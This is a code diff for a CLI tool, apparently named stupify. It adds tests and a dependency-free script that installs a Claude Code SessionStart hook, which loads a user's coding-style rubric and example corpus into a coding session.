|
|
9
|
+
import { join } from 'node:path'
|
|
10
|
+
|
|
11
|
+
const CLI = join(import.meta.dir, 'cli.ts')
|
|
12
|
+
|
|
13
|
+
function env() {
|
|
14
|
+
const home = mkdtempSync(join(tmpdir(), 'stupify-home-'))
|
|
15
|
+
const cfg = mkdtempSync(join(tmpdir(), 'stupify-cc-'))
|
|
16
|
+
return { home, cfg, settings: join(cfg, 'settings.json') }
|
|
17
|
+
}
|
|
18
|
+
const run = (sub: string[], e: { home: string; cfg: string }) =>
|
|
19
|
+
spawnSync('bun', [CLI, ...sub], { env: { ...process.env, STUPIFY_HOME: e.home, CLAUDE_CONFIG_DIR: e.cfg }, encoding: 'utf8' })
|
|
20
|
+
const read = (p: string) => JSON.parse(readFileSync(p, 'utf8'))
|
|
21
|
+
const seeded = JSON.stringify({ theme: 'dark', hooks: { PostToolUse: [{ matcher: 'Edit', hooks: [{ type: 'command', command: 'echo keep' }] }] } })
|
|
22
|
+
|
|
23
|
+
test('--install merges into existing settings without clobbering, and is idempotent', () => {
|
|
24
|
+
const e = env()
|
|
25
|
+
writeFileSync(e.settings, seeded)
|
|
26
|
+
run(['prime', '--install'], e)
|
|
27
|
+
let s = read(e.settings)
|
|
28
|
+
expect(s.theme).toBe('dark') // unrelated key survives
|
|
29
|
+
expect(s.hooks.PostToolUse[0].hooks[0].command).toBe('echo keep') // unrelated hook survives
|
|
30
|
+
expect(s.hooks.SessionStart[0].matcher).toBe('startup')
|
|
31
|
+
expect(s.hooks.SessionStart[0].hooks[0].command).toContain('prime.ts') // points at the copied dep-free engine
|
|
32
|
+
expect(existsSync(join(e.home, 'prime.ts'))).toBe(true) // engine copied
|
|
33
|
+
|
|
34
|
+
run(['prime', '--install'], e) // again
|
|
35
|
+
s = read(e.settings)
|
|
36
|
+
expect(s.hooks.SessionStart).toHaveLength(1) // no duplicate
|
|
37
|
+
rmSync(e.home, { recursive: true, force: true })
|
|
38
|
+
rmSync(e.cfg, { recursive: true, force: true })
|
|
39
|
+
})
|
|
40
|
+
|
|
41
|
+
test('--uninstall removes only our hook + engine, preserving everything else', () => {
|
|
42
|
+
const e = env()
|
|
43
|
+
writeFileSync(e.settings, seeded)
|
|
44
|
+
run(['prime', '--install'], e)
|
|
45
|
+
run(['prime', '--uninstall'], e)
|
|
46
|
+
const s = read(e.settings)
|
|
47
|
+
expect(s.theme).toBe('dark')
|
|
48
|
+
expect(s.hooks.PostToolUse[0].hooks[0].command).toBe('echo keep')
|
|
49
|
+
expect(s.hooks.SessionStart).toBeUndefined() // ours gone; empty array collapsed
|
|
50
|
+
expect(existsSync(join(e.home, 'prime.ts'))).toBe(false) // engine removed
|
|
51
|
+
rmSync(e.home, { recursive: true, force: true })
|
|
52
|
+
rmSync(e.cfg, { recursive: true, force: true })
|
|
53
|
+
})
|
|
54
|
+
|
|
55
|
+
test('--install refuses to clobber a malformed settings.json', () => {
|
|
56
|
+
const e = env()
|
|
57
|
+
writeFileSync(e.settings, 'NOT JSON {')
|
|
58
|
+
const r = run(['prime', '--install'], e)
|
|
59
|
+
expect(readFileSync(e.settings, 'utf8')).toContain('NOT JSON') // left untouched
|
|
60
|
+
expect(r.status).not.toBe(0) // died non-zero rather than overwrite
|
|
61
|
+
rmSync(e.home, { recursive: true, force: true })
|
|
62
|
+
rmSync(e.cfg, { recursive: true, force: true })
|
|
63
|
+
})
|
|
64
|
+
|
|
65
|
+
test('--uninstall on a machine with no settings.json is a clean no-op', () => {
|
|
66
|
+
const e = env()
|
|
67
|
+
const r = run(['prime', '--uninstall'], e)
|
|
68
|
+
expect(r.status).toBe(0)
|
|
69
|
+
expect(existsSync(e.settings)).toBe(false)
|
|
70
|
+
rmSync(e.home, { recursive: true, force: true })
|
|
71
|
+
rmSync(e.cfg, { recursive: true, force: true })
|
|
72
|
+
})
|
|
73
|
+
|
|
74
|
+
test('taste --pack assembles ~/.stupify/.review and nothing else (no reviewer leaks in)', () => {
|
|
75
|
+
const e = env()
|
|
76
|
+
run(['taste', '--pack', 'anton-kropp,zod'], e)
|
|
77
|
+
expect(readFileSync(join(e.home, '.review', 'CORPUS.md'), 'utf8')).toContain('Anton Kropp') // packs assembled
|
|
78
|
+
expect(existsSync(join(e.home, 'config.env'))).toBe(false) // no reviewer config
|
|
79
|
+
expect(existsSync(join(e.home, 'review-sweep.ts'))).toBe(false) // no reviewer engine
|
|
80
|
+
rmSync(e.home, { recursive: true, force: true })
|
|
81
|
+
rmSync(e.cfg, { recursive: true, force: true })
|
|
82
|
+
})
|
|
83
|
+
|
|
84
|
+
test('--install refreshes a stale command on re-install (not just the engine file)', () => {
|
|
85
|
+
const e = env()
|
|
86
|
+
run(['prime', '--install', '--pack', 'zod'], e)
|
|
87
|
+
// simulate bun having moved since first install: rewrite the stored command to a stale path
|
|
88
|
+
// (keep the engine path so the entry is still recognized as ours)
|
|
89
|
+
const s = read(e.settings)
|
|
90
|
+
s.hooks.SessionStart[0].hooks[0].command = `/old/stale/bun ${join(e.home, 'prime.ts')}`
|
|
91
|
+
writeFileSync(e.settings, JSON.stringify(s))
|
|
92
|
+
run(['prime', '--install', '--pack', 'zod'], e)
|
|
93
|
+
const after = read(e.settings)
|
|
94
|
+
expect(after.hooks.SessionStart).toHaveLength(1) // still no duplicate
|
|
95
|
+
expect(after.hooks.SessionStart[0].hooks[0].command).not.toContain('/old/stale/bun') // stale path corrected
|
|
96
|
+
expect(after.hooks.SessionStart[0].hooks[0].command).toContain('prime.ts')
|
|
97
|
+
rmSync(e.home, { recursive: true, force: true })
|
|
98
|
+
rmSync(e.cfg, { recursive: true, force: true })
|
|
99
|
+
})
|
|
100
|
+
|
|
101
|
+
test('prime --install --pack assembles taste AND wires the hook in one step', () => {
|
|
102
|
+
const e = env()
|
|
103
|
+
run(['prime', '--install', '--pack', 'zod'], e)
|
|
104
|
+
expect(readFileSync(join(e.home, '.review', 'CORPUS.md'), 'utf8')).toContain('zod') // taste assembled
|
|
105
|
+
const s = read(e.settings)
|
|
106
|
+
expect(s.hooks.SessionStart[0].hooks[0].command).toContain('prime.ts') // and hook wired
|
|
107
|
+
rmSync(e.home, { recursive: true, force: true })
|
|
108
|
+
rmSync(e.cfg, { recursive: true, force: true })
|
|
109
|
+
})
|
package/src/prime.ts
ADDED
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
#!/usr/bin/env bun
|
|
2
|
+
/**
|
|
3
|
+
* stupify prime — emit the pre-decided taste (rubric + corpus index) as a Claude Code SessionStart hook
|
|
4
|
+
* payload, so a coding session opens already holding your standard instead of only catching slop in review.
|
|
5
|
+
*
|
|
6
|
+
* Dependency-free (node builtins only) ON PURPOSE: `stupify prime --install` drops a copy of THIS file at
|
|
7
|
+
* ~/.stupify/prime.ts and points the hook at it, so the hook runs fast with no global install and no
|
|
8
|
+
* node_modules. Pure file read — no model, no network. It must NEVER break session start: any miss or error
|
|
9
|
+
* emits nothing and exits 0. stdout is ONLY the JSON payload (a stray byte makes Claude Code drop it).
|
|
10
|
+
*/
|
|
11
|
+
import { existsSync, readFileSync } from 'node:fs'
|
|
12
|
+
import { homedir } from 'node:os'
|
|
13
|
+
import { join } from 'node:path'
|
|
14
|
+
|
|
15
|
+
const HOME = process.env.STUPIFY_HOME ?? join(homedir(), '.stupify')
|
|
16
|
+
|
|
17
|
+
/** Resolve taste like the reviewer does (the repo you're coding in wins, else the pack taste setup assembled)
|
|
18
|
+
* and build the SessionStart payload. Returns null when no taste is set up — caller emits nothing. */
|
|
19
|
+
export function primePayload(cwd: string = process.cwd(), home: string = HOME): string | null {
|
|
20
|
+
const dir = [join(cwd, '.review'), join(home, '.review')].find(
|
|
21
|
+
(d) => existsSync(join(d, 'RUBRIC.md')) && existsSync(join(d, 'CORPUS.md')),
|
|
22
|
+
)
|
|
23
|
+
if (dir === undefined) return null
|
|
24
|
+
const rubric = readFileSync(join(dir, 'RUBRIC.md'), 'utf8').trim()
|
|
25
|
+
const corpus = readFileSync(join(dir, 'CORPUS.md'), 'utf8').trim()
|
|
26
|
+
const additionalContext = `# Your taste, loaded by stupify — write to this standard
|
|
27
|
+
|
|
28
|
+
You're about to write or change code in this repo. Hold every edit to the standard below BEFORE you write it —
|
|
29
|
+
it's the same taste stupify reviews against, so matching it now is a clean review later.
|
|
30
|
+
|
|
31
|
+
## What counts as slop here — don't ship it (RUBRIC)
|
|
32
|
+
${rubric}
|
|
33
|
+
|
|
34
|
+
## The code yours should look like (CORPUS)
|
|
35
|
+
The links are commit-pinned exemplars — open one only if a finding needs the detail; never paste them in wholesale.
|
|
36
|
+
${corpus}`
|
|
37
|
+
return JSON.stringify({ hookSpecificOutput: { hookEventName: 'SessionStart', additionalContext } })
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
/** Write the payload to stdout, or nothing. Swallows every error: a hook must never disrupt session start. */
|
|
41
|
+
export function emitPrime(): void {
|
|
42
|
+
try {
|
|
43
|
+
const payload = primePayload()
|
|
44
|
+
if (payload !== null) process.stdout.write(payload)
|
|
45
|
+
} catch {
|
|
46
|
+
/* never break session start */
|
|
47
|
+
}
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
if (import.meta.main) emitPrime() // run directly (the installed hook calls `bun ~/.stupify/prime.ts`)
|